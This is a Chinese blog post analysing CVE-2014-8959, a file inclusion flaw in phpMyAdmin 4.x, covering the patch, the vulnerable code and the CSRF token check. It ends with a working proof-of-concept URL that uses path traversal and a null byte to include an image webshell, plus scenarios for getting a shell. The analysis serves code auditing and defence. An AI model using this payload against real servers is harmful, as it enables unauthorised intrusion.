前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[CVE-2014-8959] phpmyadmin任意文件包含漏洞分析

[CVE-2014-8959] phpmyadmin任意文件包含漏洞分析

作者头像
phith0n
发布2020-10-15 10:24:46
1.5K0
发布2020-10-15 10:24:46
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

最近写的文章比较喜欢投递到各大平台,一是能赚点学费养家糊口,二是提高一下原创性。我发现如果文章发到一些社区或直接发博客,知名度不高很容易被转载以后不署名,导致转来转去后来就不知道谁是作者了。写了这么久文章也没给博客带来什么知名度,大概也就是因此吧。不如先发到各大平台再发到自己博客,总之也能赚点钱。

有时候好东西不是不愿分享,就是国内分享环境太差,开源程序不遵守协议、转载文章不带链接、插件模板随便去除版权,屡屡皆是。特别是“红黑联盟”等百度SEO做的比较好的网站,爬下来东西从来不带链接,到头来我是转载他是原创,那么我分享的意义何在,就是在为嘿产妞们铺平道路么?

这段时间和牙僧哥都在对open_basedir做一些研究,也发现了一些好玩的东西,php全版本已经可以绕过open_basedir读文件、列目录了,不知道离写文件还有多远,还是很期待的。

0x01 补丁分析

看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料。

前几天phpmyadmin出了个新的补丁,地址在此:http://www.phpmyadmin.net/home_page/security/PMASA-2014-14.php

修复了一个phpmyadmin4.x版本中的任意文件包含漏洞,我们看一下4.0版本的补丁:https://github.com/phpmyadmin/phpmyadmin/commit/2e3f0b9457b3c8f78beb864120bd9d55617a11b5

在文件libraries/gis/pma_gis_factory.php中对type_lower多加了个判断。由此我们可以猜测,文件包含的点就出在type_lower这里。

0x02 漏洞代码分析

我们来到libraries/gis/pma_gis_factory.php 29行:

代码语言:javascript
复制
<?php
public static function factory($type)
{
    include_once './libraries/gis/pma_gis_geometry.php';

    $type_lower = strtolower($type);
    if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
        return false;
    }
    if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
        switch(strtoupper($type)) {
        case 'MULTIPOLYGON' :
            return PMA_GIS_Multipolygon::singleton();
        case 'POLYGON' :
            return PMA_GIS_Polygon::singleton();
        case 'MULTIPOINT' :
            return PMA_GIS_Multipoint::singleton();
        case 'POINT' :
            return PMA_GIS_Point::singleton();
        case 'MULTILINESTRING' :
            return PMA_GIS_Multilinestring::singleton();
        case 'LINESTRING' :
            return PMA_GIS_Linestring::singleton();
        case 'GEOMETRYCOLLECTION' :
            return PMA_GIS_Geometrycollection::singleton();
        default :
            return false;
        }
    } else {
        return false;
    }
}

将传入的参数type转换小写以后赋值给type_lower,直接拼接成路径进行include_once。

我们来搜一下factory这个函数:

很多地方在调用,但最直接的还是/gis_data_editor.php,进来看看:

代码语言:javascript
复制
<?php
// Get data if any posted
$gis_data = array();
if (PMA_isValid($_REQUEST['gis_data'], 'array')) {
    $gis_data = $_REQUEST['gis_data'];
}

$gis_types = array(
    'POINT',
    'MULTIPOINT',
    'LINESTRING',
    'MULTILINESTRING',
    'POLYGON',
    'MULTIPOLYGON',
    'GEOMETRYCOLLECTION'
);

// Extract type from the initial call and make sure that it's a valid one.
// Extract from field's values if availbale, if not use the column type passed.
if (! isset($gis_data['gis_type'])) {
    if (isset($_REQUEST['type']) && $_REQUEST['type'] != '') {
        $gis_data['gis_type'] = strtoupper($_REQUEST['type']);
    }
    if (isset($_REQUEST['value']) && trim($_REQUEST['value']) != '') {
        $start = (substr($_REQUEST['value'], 0, 1) == "'") ? 1 : 0;
        $gis_data['gis_type'] = substr(
            $_REQUEST['value'], $start, strpos($_REQUEST['value'], "(") - $start
        );
    }
    if ((! isset($gis_data['gis_type']))
        || (! in_array($gis_data['gis_type'], $gis_types))
    ) {
        $gis_data['gis_type'] = $gis_types[0];
    }
}
$geom_type = $gis_data['gis_type'];

// Generate parameters from value passed.
$gis_obj = PMA_GIS_Factory::factory($geom_type);

首先gis_data = _REQUEST['gis_data'];获取到gis_data,判断gis_data['gis_type']是否已经存在,如果存在则跳过那一大串if子句。最后就将gis_data['gis_type'];赋值给

实际这个利用方法很简单,简单到其实就是获取$_REQUEST['gis_data']['gis_type']并拼接到include_once中,造成任意文件包含。

0x03 利用过程及POC

那我们来说说利用。这个漏洞为何没火,因为在我看来他需要两个条件:

1.登录到phpmyadmin 2.需要截断

相对比较鸡肋。但实际上这两个条件也不难满足,很多时候我们通过任意文件可能能够获得某些数据库的访问权限,我们通过这个漏洞就能成功提权。 

首先我的测试环境为php 5.2.17 + phpmyadmin 4.0.3 (想想我为什么选这样的环境)

创建一个普通用户test,没有任何权限,登录后只能看到test和information_schema表:

构造好URL直接访问(pma的上层目录放着一个包含phpinfo()的图片马u1.gif):

居然一片空白,没有出现我想要的phpinfo!?

这又涉及到phpmyadmin的一个防御CSRF机制了,来到libraries/common.inc.php 463行:

代码语言:javascript
复制
<?php
$token_mismatch = true;
if (PMA_isValid($_REQUEST['token'])) {
    $token_mismatch = ($_SESSION[' PMA_token '] != $_REQUEST['token']);
}

if ($token_mismatch) {
    /**
     *  List of parameters which are allowed from unsafe source
     */
    $allow_list = array(
        /* needed for direct access, see FAQ 1.34
         * also, server needed for cookie login screen (multi-server)
         */
        'server', 'db', 'table', 'target', 'lang',
        /* Session ID */
        'phpMyAdmin',
        /* Cookie preferences */
        'pma_lang', 'pma_collation_connection',
        /* Possible login form */
        'pma_servername', 'pma_username', 'pma_password',
        /* Needed to send the correct reply */
        'ajax_request',
        /* Permit to log out even if there is a token mismatch */
        'old_usr'
    );
    /**
     * Allow changing themes in test/theme.php
     */
    if (defined('PMA_TEST_THEME')) {
        $allow_list[] = 'set_theme';
    }
    /**
     * Require cleanup functions
     */
    include './libraries/cleanup.lib.php';
    /**
     * Do actual cleanup
     */
    PMA_remove_request_vars($allow_list);

}

他检查了_SESSION[' PMA_token ']是否等于_REQUEST['token'],如果不等于,最后会进入PMA_remove_request_vars函数,进去看看:

代码语言:javascript
复制
<?php
function PMA_remove_request_vars(&$whitelist)
{
    // do not check only $_REQUEST because it could have been overwritten
    // and use type casting because the variables could have become
    // strings
    $keys = array_keys(
        array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE)
    );

    foreach ($keys as $key) {
        if (! in_array($key, $whitelist)) {
            unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
        } else {
            // allowed stuff could be compromised so escape it
            // we require it to be a string
            if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
                unset($_REQUEST[$key]);
            }
            if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
                unset($_POST[$key]);
            }
            if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
                unset($_COOKIE[$key]);
            }
            if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
                unset($_GET[$key]);
            }
        }
    }
}

实际上将所有GPCR都清空了,那么后面的操作肯定不能正常运转了。

所以,我们必须带上token访问。那又有同学要问了,token保存在session里,我又看不到session。

其实用phpmyadmin多的同学就应该注意到,一般我们访问pma的时候都会在url里看到token=xxx这个参数,我们只需要在正常访问的时候将这个token拷贝下来就可以了:

带上token访问即可getshell:

最终POC:

http://localhost/pma/gis_data_editor.php?token=0b21e4cff71e1df9f63c9c4952a8547f&gis_data[gis_type]=/../../../../u1.gif%00

Token=xxx,xxx是你的token,gis_data[gis_type]=yyy,yyy是你要包含的文件。最终拼接到include_once后面的参数是“./libraries/gis/pma_gis_/../../../../u1.gif”。

0x04 利用环境与鸡肋性

想想利用环境吧?

1.虚拟主机:大多虚拟主机面板都会提供给用户一个普通数据库账号和phpmyadmin,利用该账号登录,再通过包含进行getshell,获得面板权限。

2.文件读取/备份下载:读取到某些配置文件,获得了一个数据库账号,通过phpmyadmin进行getshell。

3.暴力破解:爆破出某些数据库用户,进入phpmyadmin拿shell。

当然利用环境还可能有很多,另外我们还可能会遇到“包含哪个文件”的问题,这个就只能靠大家见仁见智咯~

附:测试所使用的phpmyadmin 4.0.3:http://pan.baidu.com/s/1qWymmBE

参考链接:

http://bobao.360.cn/vul/detail/18932.html https://github.com/phpmyadmin/phpmyadmin/commit/2e3f0b9457b3c8f78beb864120bd9d55617a11b5 http://www.phpmyadmin.net/home_page/security/PMASA-2014-14.php

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 补丁分析
  • 0x02 漏洞代码分析
  • 0x03 利用过程及POC
  • 0x04 利用环境与鸡肋性
相关产品与服务
轻量应用服务器
轻量应用服务器(TencentCloud Lighthouse)是新一代开箱即用、面向轻量应用场景的云服务器产品,助力中小企业和开发者便捷高效的在云端构建网站、Web应用、小程序/小游戏、游戏服、电商应用、云盘/图床和开发测试环境,相比普通云服务器更加简单易用且更贴近应用,以套餐形式整体售卖云资源并提供高带宽流量包,将热门软件打包实现一键构建应用,提供极简上云体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档